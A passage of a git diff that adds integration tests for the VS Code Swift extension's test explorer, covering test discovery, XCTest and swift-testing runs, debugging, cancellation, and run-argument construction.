workspace for tests. + await logger("Waiting for test explorer to be ready", () => + waitForTestExplorerReady(testExplorer, workspaceContext.logger) + ); + }, + requiresLSP: true, + requiresDebugger: true, + }); + + suite("Debugging", function () { + async function runXCTest() { + const suiteId = "PackageTests.PassingXCTestSuite"; + const testId = `${suiteId}/testPassing`; + const passingRun = await runTest(testExplorer, TestKind.debug, testId); + + assertTestResults(passingRun, { + passed: [suiteId, testId], + }); + } + + async function runSwiftTesting(this: Mocha.Context) { + if ( + // swift-testing was not able to produce JSON events until 6.0.2 on Windows. + process.platform === "win32" && + workspaceContext.globalToolchainSwiftVersion.isLessThan(new Version(6, 0, 2)) + ) { + this.skip(); + } + + const testId = "PackageTests.topLevelTestPassing()"; + const testRun = await runTest(testExplorer, TestKind.debug, testId); + + assertTestResults(testRun, { + passed: [testId], + }); + } + + suite("lldb-dap", () => { + let resetSettings: (() => Promise) | undefined; + beforeEach(async function () { + // lldb-dap is only present/functional in the toolchain in 6.0.2 and up. + if (folderContext.swiftVersion.isLessThan(new Version(6, 0, 2))) { + this.skip(); + } + + resetSettings = await updateSettings({ + "swift.debugger.debugAdapter": "lldb-dap", + }); + }); + + afterEach(async () => { + if (resetSettings) { + await resetSettings(); + resetSettings = undefined; + } + }); + + test("Debugs specified XCTest test", runXCTest); + test("Debugs specified swift-testing test", async function () { + await runSwiftTesting.call(this); + }); + }); + + suite("CodeLLDB", () => { + let resetSettings: (() => Promise) | undefined; + beforeEach(async function () { + // CodeLLDB on windows doesn't print output and so cannot be parsed + if (process.platform === "win32") { + this.skip(); + } + + resetSettings = await updateSettings({ + "swift.debugger.debugAdapter": "CodeLLDB", + }); + }); + + afterEach(async () => { + if (resetSettings) { + await resetSettings(); + resetSettings = undefined; + } + }); + + test("Debugs specified XCTest test", async function () { + // CodeLLDB tests stall out on 5.9 and below. + if (folderContext.swiftVersion.isLessThan(new Version(5, 10, 0))) { + this.skip(); + } + await runXCTest(); + }); + + test("Debugs specified swift-testing test", async function () { + if (folderContext.swiftVersion.isLessThan(new Version(6, 0, 0))) { + this.skip(); + } + await runSwiftTesting.call(this); + }); + }); + }); + + suite("Standard", () => { + test("Finds Tests", async function () { + if (folderContext.swiftVersion.isGreaterThanOrEqual(new Version(6, 0, 0))) { + // 6.0 uses the LSP which returns tests in the order they're declared. + // Includes swift-testing tests. + assertTestControllerHierarchy(testExplorer.controller, [ + "PackageTests", + [ + "PassingXCTestSuite", + ["testPassing()"], + "PassingXCTestSuite2", + ["testPassing()"], + "FailingXCTestSuite", + ["testFailing()"], + "MixedXCTestSuite", + ["testPassing()", "testFailing()"], + "DebugReleaseTestSuite", + ["testRelease()", "testDebug()"], + "topLevelTestPassing()", + "topLevelTestFailing()", + "parameterizedTest(_:)", + "testRelease()", + "testDebug()", + "MixedSwiftTestingSuite", + ["testPassing()", "testFailing()", "testDisabled()"], + "testWithKnownIssue()", + "testWithKnownIssueAndUnknownIssue()", + "testLotsOfOutput()", + "testCrashing()", + "DuplicateSuffixTests", + ["testPassing()", "testPassingSuffix()"], + "CrashingXCTests", + ["testCrashing()"], + ], + ]); + } else if (folderContext.swiftVersion.isLessThanOrEqual(new Version(6, 0, 0))) { + // 5.10 uses `swift test list` which returns test alphabetically, without the round brackets. + // Does not include swift-testing tests. + assertTestControllerHierarchy(testExplorer.controller, [ + "PackageTests", + [ + "CrashingXCTests", + ["testCrashing"], + "DebugReleaseTestSuite", + ["testDebug", "testRelease"], + "DuplicateSuffixTests", + ["testPassing", "testPassingSuffix"], + "FailingXCTestSuite", + ["testFailing"], + "MixedXCTestSuite", + ["testFailing", "testPassing"], + "PassingXCTestSuite", + ["testPassing"], + "PassingXCTestSuite2", + ["testPassing"], + ], + ]); + } + }); + + suite("swift-testing", () => { + suiteSetup(function () { + if ( + folderContext.swiftVersion.isLessThan(new Version(6, 0, 0)) || + // swift-testing was not able to produce JSON events until 6.0.2 on Windows. + (process.platform === "win32" && + folderContext.swiftVersion.isLessThan(new Version(6, 0, 2))) + ) { + this.skip(); + } + }); + + test("captures lots of output", async () => { + const testRun = await runTest( + testExplorer, + TestKind.standard, + "PackageTests.testLotsOfOutput()" + ); + + assertTestResults(testRun, { + passed: ["PackageTests.testLotsOfOutput()"], + }); + + // Right now the swift-testing "test run complete" text is being emitted + // in the middle of the print, so the last line is actually end end of our + // huge string. If they fix this in future this `find` ensures the test wont break. + const needle = "100000"; + const output = testRun.runState.output.flatMap(o => + o.split(lineBreakRegex).filter(o => !!o) + ); + const lastTenLines = output.slice(-10).join("\n"); + assertContainsTrimmed( + output, + needle, + `Expected all test output to be captured, but it was truncated. Last 10 lines of output were: ${lastTenLines}` + ); + }); + + // Disabled until Attachments are formalized and released. + test.skip("attachments", async function () { + // Attachments were introduced in 6.1 + if (folderContext.swiftVersion.isLessThan(new Version(6, 1, 0))) { + this.skip(); + } + + const testRun = await runTest( + testExplorer, + TestKind.standard, + "PackageTests.testAttachment()" + ); + + assertTestResults(testRun, { + passed: ["PackageTests.testAttachment()"], + }); + + // Verify the attachment was attached and the contents are correct. + const attachments = path.join( + testExplorer.folderContext.folder.fsPath, + "./.build/attachments" + ); + + const attachmentFolders = fs.readdirSync(attachments).map(folder => ({ + name: folder, + time: fs.statSync(path.join(attachments, folder)).mtime.getTime(), + })); + assert(attachmentFolders.length > 0, "Attachments directory is empty"); + + const latestFolder = attachmentFolders.sort((a, b) => b.time - a.time)[0]; + const latestFolderPath = path.join(attachments, latestFolder.name); + const latestFolderContents = fs.readdirSync(latestFolderPath); + assert.deepStrictEqual(latestFolderContents, ["hello.txt"]); + + const attachmentPath = path.join(latestFolderPath, "hello.txt"); + const attachment = fs.readFileSync(attachmentPath, "utf8"); + assert.equal(attachment, "Hello, world!"); + }); + + test("withKnownIssue", async () => { + const testRun = await runTest( + testExplorer, + TestKind.standard, + "PackageTests.testWithKnownIssue()" + ); + + assertTestResults(testRun, { + skipped: ["PackageTests.testWithKnownIssue()"], + }); + + const testItem = testRun.testItems.find( + ({ id }) => id === "PackageTests.testWithKnownIssue()" + ); + assert.ok(testItem, "Unable to find test item for testWithKnownIssue"); + assert.ok( + testItem.tags.find(tag => tag.id === "skipped"), + "skipped tag was not found on test item" + ); + }); + + test("testWithKnownIssueAndUnknownIssue", async () => { + const testRun = await runTest( + testExplorer, + TestKind.standard, + "PackageTests.testWithKnownIssueAndUnknownIssue()" + ); + + assertTestResults(testRun, { + failed: [ + { + test: "PackageTests.testWithKnownIssueAndUnknownIssue()", + issues: [ + MessageRenderer.render({ + symbol: TestSymbol.fail, + text: "Expectation failed: 2 == 3", + }), + ], + }, + ], + }); + }); + + test("crashing", async () => { + const testRun = await runTest( + testExplorer, + TestKind.standard, + "PackageTests.testCrashing()" + ); + + assertTestResults(testRun, { + failed: [ + { + test: "PackageTests.testCrashing()", + issues: ["Test did not complete."], + }, + ], + }); + }); + + test("tests run in debug mode", async function () { + const testRun = await runTest( + testExplorer, + TestKind.standard, + "PackageTests.testDebug()" + ); + + assertTestResults(testRun, { + passed: ["PackageTests.testDebug()"], + }); + }); + + test("test run in release mode", async function () { + const passingRun = await runTest( + testExplorer, + TestKind.release, + "PackageTests.testRelease()" + ); + assertTestResults(passingRun, { + passed: ["PackageTests.testRelease()"], + }); + + const failingRun = await runTest( + testExplorer, + TestKind.standard, + "PackageTests.testRelease()" + ); + + const issueLine1 = MessageRenderer.render({ + symbol: TestSymbol.fail, + text: "Issue recorded", + }); + const issueLine2 = MessageRenderer.render({ + symbol: TestSymbol.details, + text: "Test was run in debug mode.", + }); + const issueText = `${issueLine1}\n${issueLine2}`; + assertTestResults(failingRun, { + failed: [ + { + test: "PackageTests.testRelease()", + issues: [issueText], + }, + ], + }); + }); + + suite("Runs multiple", function () { + const numIterations = 5; + + test("runs an swift-testing test multiple times", async function () { + const testItems = gatherTests( + testExplorer.controller, + "PackageTests.MixedXCTestSuite/testPassing" + ); + + await workspaceContext.focusFolder(null); + await workspaceContext.focusFolder(testExplorer.folderContext); + + const testRunPromise = eventPromise(testExplorer.onCreateTestRun); + + await vscode.commands.executeCommand( + Commands.RUN_TESTS_MULTIPLE_TIMES, + testItems[0], + numIterations + ); + + const testRun = await testRunPromise; + + assertTestResults(testRun, { + passed: [ + "PackageTests.MixedXCTestSuite", + "PackageTests.MixedXCTestSuite/testPassing", + ], + }); + }); + }); + }); + + suite("XCTest", () => { + test("Only runs specified test", async function () { + const passingRun = await runTest( + testExplorer, + TestKind.standard, + "PackageTests.DuplicateSuffixTests/testPassing" + ); + + assertTestResults(passingRun, { + passed: [ + "PackageTests.DuplicateSuffixTests", + "PackageTests.DuplicateSuffixTests/testPassing", + ], + }); + }); + + test("Crashing XCTest", async function () { + const crashingRun = await runTest( + testExplorer, + TestKind.standard, + "PackageTests.CrashingXCTests/testCrashing" + ); + + assertTestResults(crashingRun, { + failed: [ + { + test: "PackageTests.CrashingXCTests/testCrashing", + issues: ["Test did not complete."], + }, + ], + }); + }); + + test("Cancellation", async function () { + const targetProfile = testExplorer.testRunProfiles.find( + profile => profile.label === TestKind.standard + ); + if (!targetProfile) { + throw new Error(`Unable to find run profile named ${TestKind.standard}`); + } + const testItems = gatherTests( + testExplorer.controller, + "PackageTests.DuplicateSuffixTests/testPassing" + ); + const request = new vscode.TestRunRequest(testItems); + const tokenSource = new vscode.CancellationTokenSource(); + + const testRunPromise = eventPromise(testExplorer.onCreateTestRun); + + // Deliberately don't await this so we can cancel it. + void targetProfile.runHandler(request, tokenSource.token); + + const testRun = await testRunPromise; + + // Wait for the next tick to cancel the test run so that + // handlers have time to set up. + await new Promise(resolve => { + setImmediate(() => { + tokenSource.cancel(); + resolve(); + }); + }); + + assertContains(testRun.runState.output, "\r\nTest run cancelled."); + }); + + test("Cancellation during build", async function () { + const targetProfile = testExplorer.testRunProfiles.find( + profile => profile.label === TestKind.standard + ); + if (!targetProfile) { + throw new Error(`Unable to find run profile named ${TestKind.standard}`); + } + const testItems = gatherTests( + testExplorer.controller, + "PackageTests.DuplicateSuffixTests/testPassing" + ); + const request = new vscode.TestRunRequest(testItems); + const initialTokenSource = new vscode.CancellationTokenSource(); + + const testRunPromise = eventPromise(testExplorer.onCreateTestRun); + + // Deliberately don't await this so we can cancel it. + void targetProfile.runHandler(request, initialTokenSource.token); + const testRun = await testRunPromise; + + const secondRunTokenSource = new vscode.CancellationTokenSource(); + // Wait for the next tick to cancel the test run so that + // handlers have time to set up. + await new Promise(resolve => { + setImmediate(async () => { + const secondRunOnCreate = eventPromise(testExplorer.onCreateTestRun); + // Start the second test run, which will trigger the mockWindow to resolve with + // the request to cancel and start a new run. Then wait for the second run to start, + // and cancel it as if VS Code requested it. + void targetProfile.runHandler(request, secondRunTokenSource.token); + await secondRunOnCreate; + secondRunTokenSource.cancel(); + resolve(); + }); + }); + + assertContains(testRun.runState.output, "\r\nTest run cancelled."); + }); + + test("tests run in debug mode", async function () { + const testRun = await runTest( + testExplorer, + TestKind.standard, + "PackageTests.DebugReleaseTestSuite/testDebug" + ); + + assertTestResults(testRun, { + passed: [ + "PackageTests.DebugReleaseTestSuite", + "PackageTests.DebugReleaseTestSuite/testDebug", + ], + }); + }); + + test("tests run in release mode", async function () { + const passingRun = await runTest( + testExplorer, + TestKind.release, + "PackageTests.DebugReleaseTestSuite/testRelease" + ); + + assertTestResults(passingRun, { + passed: [ + "PackageTests.DebugReleaseTestSuite", + "PackageTests.DebugReleaseTestSuite/testRelease", + ], + }); + }); + + suite("Runs multiple", function () { + const numIterations = 5; + + test("runs an XCTest multiple times", async function () { + const testItems = gatherTests( + testExplorer.controller, + "PackageTests.PassingXCTestSuite/testPassing" + ); + + await workspaceContext.focusFolder(null); + await workspaceContext.focusFolder(testExplorer.folderContext); + + const testRunPromise = eventPromise(testExplorer.onCreateTestRun); + + await vscode.commands.executeCommand( + Commands.RUN_TESTS_MULTIPLE_TIMES, + testItems[0], + { preserveFocus: true }, // a trailing argument included on Linux + numIterations + ); + + const testRun = await testRunPromise; + + assertTestResults(testRun, { + passed: [ + "PackageTests.PassingXCTestSuite", + "PackageTests.PassingXCTestSuite/testPassing", + ], + }); + }); + }); + }); + + // Do coverage last as it does a full rebuild, causing the stage after it to have to rebuild as well. + [TestKind.standard, TestKind.parallel, TestKind.coverage].forEach(runProfile => { + let xcTestFailureMessage: string; + + beforeEach(() => { + // From 5.7 to 5.10 running with the --parallel option dumps the test results out + // to the console with no newlines, so it isn't possible to distinguish where errors + // begin and end. Consequently we can't record them, and so we manually mark them + // as passed or failed with the message from the xunit xml. + xcTestFailureMessage = + runProfile === TestKind.parallel && + !folderContext.toolchain.hasMultiLineParallelTestOutput + ? "failed" + : `failed - oh no`; + }); + + suite(runProfile, () => { + suite(`swift-testing (${runProfile})`, function () { + suiteSetup(function () { + if ( + folderContext.swiftVersion.isLessThan(new Version(6, 0, 0)) || + (process.platform === "win32" && + folderContext.swiftVersion.isLessThan(new Version(6, 0, 2))) + ) { + this.skip(); + } + }); + + test(`Runs passing test (${runProfile})`, async function () { + const testRun = await runTest( + testExplorer, + runProfile, + "PackageTests.topLevelTestPassing()" + ); + + // Use assertContainsTrimmed to ignore the line ending differences + // across platforms (windows vs linux/darwin) + assertContainsTrimmed( + testRun.runState.output, + "A print statement in a test." + ); + assertTestResults(testRun, { + passed: ["PackageTests.topLevelTestPassing()"], + }); + }); + + test(`swift-testing Runs failing test (${runProfile})`, async function () { + const testRun = await runTest( + testExplorer, + runProfile, + "PackageTests.topLevelTestFailing()" + ); + + assertTestResults(testRun, { + failed: [ + { + test: "PackageTests.topLevelTestFailing()", + issues: [ + MessageRenderer.render({ + symbol: TestSymbol.fail, + text: "Expectation failed: 1 == 2", + }), + ], + }, + ], + }); + }); + + test(`swift-testing Runs Suite (${runProfile})`, async function () { + const testRun = await runTest( + testExplorer, + runProfile, + "PackageTests.MixedSwiftTestingSuite" + ); + + assertTestResults(testRun, { + passed: ["PackageTests.MixedSwiftTestingSuite/testPassing()"], + skipped: ["PackageTests.MixedSwiftTestingSuite/testDisabled()"], + failed: [ + { + test: "PackageTests.MixedSwiftTestingSuite/testFailing()", + issues: [ + `testFailing() \u{203A} ${MessageRenderer.render({ symbol: TestSymbol.fail, text: "Expectation failed: 1 == 2" })}`, + ], + }, + { + issues: [], + test: "PackageTests.MixedSwiftTestingSuite", + }, + ], + }); + }); + + test(`swift-testing Runs parameterized test (${runProfile})`, async function () { + const testId = "PackageTests.parameterizedTest(_:)"; + const testRun = await runTest(testExplorer, runProfile, testId); + + let passed: string[]; + let failedId: string; + if (folderContext.swiftVersion.isGreaterThanOrEqual(new Version(6, 2, 0))) { + passed = [ + `${testId}/PackageTests.swift:59:2/Parameterized test case ID: argumentIDs: [Testing.Test.Case.Argument.ID(bytes: [49])], discriminator: 0, isStable: true`, + `${testId}/PackageTests.swift:59:2/Parameterized test case ID: argumentIDs: [Testing.Test.Case.Argument.ID(bytes: [51])], discriminator: 0, isStable: true`, + ]; + failedId = `${testId}/PackageTests.swift:59:2/Parameterized test case ID: argumentIDs: [Testing.Test.Case.Argument.ID(bytes: [50])], discriminator: 0, isStable: true`; + } else { + passed = [ + `${testId}/PackageTests.swift:59:2/argumentIDs: Optional([Testing.Test.Case.Argument.ID(bytes: [49])])`, + `${testId}/PackageTests.swift:59:2/argumentIDs: Optional([Testing.Test.Case.Argument.ID(bytes: [51])])`, + ]; + failedId = `${testId}/PackageTests.swift:59:2/argumentIDs: Optional([Testing.Test.Case.Argument.ID(bytes: [50])])`; + } + + assertTestResults(testRun, { + passed, + failed: [ + { + issues: [ + `2 \u{203A} ${MessageRenderer.render({ + symbol: TestSymbol.fail, + text: "Expectation failed: (arg → 2) != 2", + })}`, + ], + test: failedId, + }, + { + issues: [], + test: testId, + }, + ], + }); + + // Verifiy that the children of the parameterized test are not runnable + const parameterizedTestItem = flattenTestItemCollection( + testExplorer.controller.items + ).find(item => item.id === testId); + + assert.ok( + parameterizedTestItem, + `Unable to find ${testId} in test explorer children` + ); + + const unrunnableChildren = reduceTestItemChildren( + parameterizedTestItem?.children ?? [], + (acc, item) => { + return [ + ...acc, + item.tags.find(tag => tag.id === runnableTag.id) === undefined, + ]; + }, + [] as boolean[] + ); + + assert.deepEqual(unrunnableChildren, [true, true, true]); + }); + + test(`swift-testing Runs Suite (${runProfile})`, async function () { + const testRun = await runTest( + testExplorer, + runProfile, + "PackageTests.MixedSwiftTestingSuite" + ); + + assertTestResults(testRun, { + passed: ["PackageTests.MixedSwiftTestingSuite/testPassing()"], + skipped: ["PackageTests.MixedSwiftTestingSuite/testDisabled()"], + failed: [ + { + test: "PackageTests.MixedSwiftTestingSuite/testFailing()", + issues: [ + `testFailing() \u{203A} ${MessageRenderer.render({ symbol: TestSymbol.fail, text: "Expectation failed: 1 == 2" })}`, + ], + }, + { + issues: [], + test: "PackageTests.MixedSwiftTestingSuite", + }, + ], + }); + }); + + test(`swift-testing Runs All (${runProfile})`, async function () { + const testRun = await runTest( + testExplorer, + runProfile, + "PackageTests.MixedSwiftTestingSuite", + "PackageTests.MixedXCTestSuite" + ); + + assertTestResults(testRun, { + passed: [ + "PackageTests.MixedSwiftTestingSuite/testPassing()", + "PackageTests.MixedXCTestSuite/testPassing", + ], + skipped: ["PackageTests.MixedSwiftTestingSuite/testDisabled()"], + failed: [ + { + test: "PackageTests.MixedSwiftTestingSuite/testFailing()", + issues: [ + `testFailing() \u{203A} ${MessageRenderer.render({ symbol: TestSymbol.fail, text: "Expectation failed: 1 == 2" })}`, + ], + }, + { + issues: [], + test: "PackageTests.MixedSwiftTestingSuite", + }, + { + test: "PackageTests.MixedXCTestSuite/testFailing", + issues: [xcTestFailureMessage], + }, + { + issues: [], + test: "PackageTests.MixedXCTestSuite", + }, + ], + }); + }); + }); + + suite(`XCTests (${runProfile})`, () => { + test(`XCTest Runs passing test (${runProfile})`, async function () { + const testRun = await runTest( + testExplorer, + runProfile, + "PackageTests.PassingXCTestSuite" + ); + + assertTestResults(testRun, { + passed: [ + "PackageTests.PassingXCTestSuite", + "PackageTests.PassingXCTestSuite/testPassing", + ], + }); + }); + + test(`XCTest Runs failing test (${runProfile})`, async function () { + const testRun = await runTest( + testExplorer, + runProfile, + "PackageTests.FailingXCTestSuite/testFailing" + ); + + assertTestResults(testRun, { + failed: [ + { + test: "PackageTests.FailingXCTestSuite/testFailing", + issues: [xcTestFailureMessage], + }, + { + issues: [], + test: "PackageTests.FailingXCTestSuite", + }, + ], + }); + }); + + test(`XCTest Runs Suite (${runProfile})`, async function () { + const testRun = await runTest( + testExplorer, + runProfile, + "PackageTests.MixedXCTestSuite" + ); + + assertTestResults(testRun, { + passed: ["PackageTests.MixedXCTestSuite/testPassing"], + failed: [ + { + test: "PackageTests.MixedXCTestSuite/testFailing", + issues: [xcTestFailureMessage], + }, + { + issues: [], + test: "PackageTests.MixedXCTestSuite", + }, + ], + }); + }); + }); + }); + }); + }); + + suite("Modifying", function () { + let sourceFile: string; + let originalSource: string; + + suiteSetup(function () { + if ( + (process.platform === "win32" && + workspaceContext.globalToolchainSwiftVersion.isLessThan( + new Version(6, 1, 0) + )) || + workspaceContext.globalToolchainSwiftVersion.isLessThan(new Version(6, 0, 2)) + ) { + this.skip(); + } + }); + + beforeEach(() => { + sourceFile = path.join( + folderContext.folder.fsPath, + "Tests", + "PackageTests", + "PackageTests.swift" + ); + originalSource = fs.readFileSync(sourceFile, "utf8"); + }); + + async function appendSource(newContent: string) { + const document = await vscode.workspace.openTextDocument(sourceFile); + await vscode.window.showTextDocument(document); + const edit = new vscode.WorkspaceEdit(); + const lastLine = document.lineAt(document.lineCount - 1); + edit.insert(document.uri, lastLine.range.end, newContent); + await vscode.workspace.applyEdit(edit); + return document; + } + + async function setSource(content: string) { + const document = await vscode.workspace.openTextDocument(sourceFile); + await vscode.window.showTextDocument(document); + const edit = new vscode.WorkspaceEdit(); + edit.replace( + document.uri, + document.validateRange(new vscode.Range(0, 0, 10000000, 0)), + content + ); + await vscode.workspace.applyEdit(edit); + return document; + } + + type TestHierarchy = string | TestHierarchy[]; + + // Because we're at the whim of how often VS Code/the LSP provide document symbols + // we can't assume that changes to test items will be reflected in the next onTestItemsDidChange + // so poll until the condition is met. + async function validate(validator: (testItems: TestHierarchy) => boolean) { + let testItems: TestHierarchy = []; + const startTime = Date.now(); + while (Date.now() - startTime < 5000) { + testItems = buildStateFromController(testExplorer.controller.items); + if (validator(testItems)) { + return; + } + await new Promise(resolve => setTimeout(resolve, 100)); + } + assert.fail("Expected test items to be updated, but they were not: " + testItems); + } + + test("Test explorer updates when a test is added and removed", async () => { + const testName = `newTest${randomString()}()`; + const newTest = `\n@Test func ${testName} {\n #expect(1 == 1)\n}\n`; + + await Promise.all([ + eventPromise(testExplorer.onTestItemsDidChange), + appendSource(newTest), + ]); + + await validate(testItems => testItems[1].includes(testName)); + + await Promise.all([ + eventPromise(testExplorer.onTestItemsDidChange), + setSource(originalSource), + ]); + + await validate(testItems => !testItems[1].includes(testName)); + }); + + test("Test explorer updates when a suite is added and removed", async () => { + const suiteName = `newSuite${randomString()}`; + const newSuite = `\n@Suite\nstruct ${suiteName} {\n @Test\n func testPassing() throws {\n #expect(1 == 1)\n }\n}\n`; + await Promise.all([ + eventPromise(testExplorer.onTestItemsDidChange), + appendSource(newSuite), + ]); + await validate(testItems => testItems[1].includes(suiteName)); + + await Promise.all([ + eventPromise(testExplorer.onTestItemsDidChange), + setSource(originalSource), + ]); + await validate(testItems => !testItems[1].includes(suiteName)); + }); + + afterEach(async () => { + const document = await setSource(originalSource); + await document.save(); + }); + }); +}); diff --git a/test/integration-tests/testexplorer/TestRunArguments.test.ts b/test/integration-tests/testexplorer/TestRunArguments.test.ts new file mode 100644 index 000000000..296e83d8a --- /dev/null +++ b/test/integration-tests/testexplorer/TestRunArguments.test.ts @@ -0,0 +1,351 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2023 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import { afterEach, beforeEach } from "mocha"; +import * as vscode from "vscode"; + +import { TestRunArguments } from "@src/TestExplorer/TestRunArguments"; +import { flattenTestItemCollection } from "@src/TestExplorer/TestUtils"; + +suite("TestRunArguments Suite", () => { + // Helper function to create a test item tree from a DSL string. + // Tabs are used to denote a hierarchy of test items. + function createTestItemTree(controller: vscode.TestController, dsl: string) { + const lines = dsl.trim().split("\n"); + const stack: { item: vscode.TestItem; indent: number }[] = []; + let root: vscode.TestItem | undefined; + + lines.forEach(line => { + const indent = line.search(/\S/); + const trimmedLine = line.trim(); + const name = trimmedLine.replace(/^(tt:|xc:|st:)/, ""); + const tags = []; + if (trimmedLine.startsWith("tt:")) { + tags.push({ id: "test-target" }); + } else if (trimmedLine.startsWith("xc:")) { + tags.push({ id: "XCTest" }); + } else if (trimmedLine.startsWith("st:")) { + tags.push({ id: "swift-testing" }); + } + const item = controller.createTestItem(name, name, vscode.Uri.file("/path/to/file")); + item.tags = tags; + + while (stack.length && stack[stack.length - 1].indent >= indent) { + stack.pop(); + } + + if (stack.length) { + stack[stack.length - 1].item.children.add(item); + } else { + root = item; + } + + stack.push({ item, indent }); + }); + + controller.items.add(root!); + } + + function runRequestByIds(include: string[], exclude: string[] = []) { + const allTests = flattenTestItemCollection(controller.items); + const includeItems = include.map(id => allTests.find(item => item.id === id)); + const excludeItems = exclude.map(id => allTests.find(item => item.id === id)); + if (includeItems.some(item => !item)) { + throw new Error("Could not find test item in include list: " + include); + } + if (excludeItems.some(item => !item)) { + throw new Error("Could not find test item in exclude list: " + include); + } + return new vscode.TestRunRequest( + includeItems as vscode.TestItem[], + excludeItems as vscode.TestItem[], + undefined + ); + } + + function assertRunArguments( + args: TestRunArguments, + expected: Partial> & { testItems: string[] } + ) { + // Order of testItems doesn't matter, that they contain the same elements. + assert.deepStrictEqual( + { ...args, testItems: args.testItems.map(item => item.id).sort() }, + { ...expected, testItems: expected.testItems.sort() } + ); + } + + let controller: vscode.TestController; + const testTargetId: string = "TestTarget"; + const xcSuiteId: string = "XCTest Suite"; + const xcTestId: string = "XCTest Item"; + const swiftTestSuiteId: string = "Swift Test Suite"; + const swiftTestId: string = "Swift Test Item"; + + beforeEach(function () { + controller = vscode.tests.createTestController( + this.currentTest?.id ?? "TestRunArgumentsTests", + "" + ); + }); + + afterEach(() => { + controller.dispose(); + }); + + suite("Basic Tests", () => { + beforeEach(() => { + const dsl = ` + tt:${testTargetId} + xc:${xcSuiteId} + xc:${xcTestId} + st:${swiftTestSuiteId} + st:${swiftTestId} + `; + + createTestItemTree(controller, dsl); + }); + + test("Empty Request", () => { + const testArgs = new TestRunArguments(runRequestByIds([]), false); + assertRunArguments(testArgs, { + xcTestArgs: [], + swiftTestArgs: [], + testItems: [], + }); + }); + + test("Test hasTestType methods", () => { + const xcTest = new TestRunArguments(runRequestByIds([xcTestId]), false); + const swiftTestingTest = new TestRunArguments(runRequestByIds([swiftTestId]), false); + const bothTests = new TestRunArguments(runRequestByIds([xcTestId, swiftTestId]), false); + const noTests = new TestRunArguments(runRequestByIds([]), false); + assert.strictEqual(xcTest.hasXCTests, true); + assert.strictEqual(xcTest.hasSwiftTestingTests, false); + assert.strictEqual(swiftTestingTest.hasXCTests, false); + assert.strictEqual(swiftTestingTest.hasSwiftTestingTests, true); + assert.strictEqual(bothTests.hasXCTests, true); + assert.strictEqual(bothTests.hasSwiftTestingTests, true); + assert.strictEqual(noTests.hasXCTests, true); + assert.strictEqual(noTests.hasSwiftTestingTests, true); + }); + + test("Single XCTest", () => { + const testArgs = new TestRunArguments(runRequestByIds([xcTestId]), false); + assertRunArguments(testArgs, { + xcTestArgs: [`${xcTestId}$`], + swiftTestArgs: [], + testItems: [xcSuiteId, testTargetId, xcTestId], + }); + }); + + test("Single XCTest (debug mode)", () => { + const testArgs = new TestRunArguments(runRequestByIds([xcTestId]), true); + assertRunArguments(testArgs, { + xcTestArgs: [xcTestId], + swiftTestArgs: [], + testItems: [xcSuiteId, testTargetId, xcTestId], + }); + }); + + test("Both Suites Included", () => { + const testArgs = new TestRunArguments( + runRequestByIds([xcSuiteId, swiftTestSuiteId]), + false + ); + assertRunArguments(testArgs, { + xcTestArgs: [`${xcSuiteId}/`], + swiftTestArgs: [`${swiftTestSuiteId}/`], + testItems: [testTargetId, xcSuiteId, xcTestId, swiftTestSuiteId, swiftTestId], + }); + }); + + test("Exclude Suite", () => { + const testArgs = new TestRunArguments( + runRequestByIds([xcSuiteId, swiftTestSuiteId], [xcSuiteId]), + false + ); + assertRunArguments(testArgs, { + xcTestArgs: [], + swiftTestArgs: [`${swiftTestSuiteId}/`], + testItems: [testTargetId, swiftTestSuiteId, swiftTestId], + }); + }); + + test("Exclude Test", () => { + const testArgs = new TestRunArguments( + runRequestByIds([xcSuiteId, swiftTestSuiteId], [xcTestId]), + false + ); + assertRunArguments(testArgs, { + xcTestArgs: [], + swiftTestArgs: [`${swiftTestSuiteId}/`], + testItems: [testTargetId, swiftTestSuiteId, swiftTestId], + }); + }); + + test("Entire test target", () => { + const testArgs = new TestRunArguments(runRequestByIds([testTargetId], []), false); + assertRunArguments(testArgs, { + xcTestArgs: [`${testTargetId}.*`], + swiftTestArgs: [`${testTargetId}.*`], + testItems: [testTargetId, xcSuiteId, xcTestId, swiftTestSuiteId, swiftTestId], + }); + }); + }); + + test("Test empty test target", () => { + createTestItemTree(controller, `tt:${testTargetId}`); + const testArgs = new TestRunArguments(runRequestByIds([testTargetId], []), false); + assertRunArguments(testArgs, { + xcTestArgs: [], + swiftTestArgs: [], + testItems: [], + }); + }); + + test("Test undefined include/exclude", () => { + createTestItemTree(controller, `tt:${testTargetId}`); + const testArgs = new TestRunArguments(new vscode.TestRunRequest(), false); + assertRunArguments(testArgs, { + xcTestArgs: [], + swiftTestArgs: [], + testItems: [], + }); + }); + + test("Single Test in Suite With Multiple", () => { + const anotherSwiftTestId = "Another Swift Test Item"; + const dsl = ` + tt:${testTargetId} + xc:${xcSuiteId} + xc:${xcTestId} + st:${swiftTestSuiteId} + st:${swiftTestId} + st:${anotherSwiftTestId} + `; + + createTestItemTree(controller, dsl); + + const testArgs = new TestRunArguments(runRequestByIds([anotherSwiftTestId]), false); + assertRunArguments(testArgs, { + xcTestArgs: [], + swiftTestArgs: [anotherSwiftTestId], + testItems: [swiftTestSuiteId, testTargetId, anotherSwiftTestId], + }); + }); + + test("Test suite with multiple suites of different sizes", () => { + const anotherXcSuiteId = "Another XCTest Suite"; + const anotherXcTestId1 = "Another XCTest Item 1"; + const anotherXcTestId2 = "Another XCTest Item 2"; + const dsl = ` + tt:${testTargetId} + xc:${xcSuiteId} + xc:${xcTestId} + xc:${anotherXcSuiteId} + xc:${anotherXcTestId1} + xc:${anotherXcTestId2} + `; + createTestItemTree(controller, dsl); + + const testArgs = new TestRunArguments(runRequestByIds([xcSuiteId], []), false); + assertRunArguments(testArgs, { + xcTestArgs: [`${xcSuiteId}/`], + swiftTestArgs: [], + testItems: [testTargetId, xcSuiteId, xcTestId], + }); + }); + + test("Test suite with multiple suites of the same size", () => { + const xcTestId2 = "XCTest Item 2"; + const anotherXcSuiteId = "Another XCTest Suite"; + const anotherXcTestId1 = "Another XCTest Item 1"; + const anotherXcTestId2 = "Another XCTest Item 2"; + const dsl = ` + tt:${testTargetId} + xc:${xcSuiteId} + xc:${xcTestId} + xc:${xcTestId2} + xc:${anotherXcSuiteId} + xc:${anotherXcTestId1} + xc:${anotherXcTestId2} + `; + createTestItemTree(controller, dsl); + + const 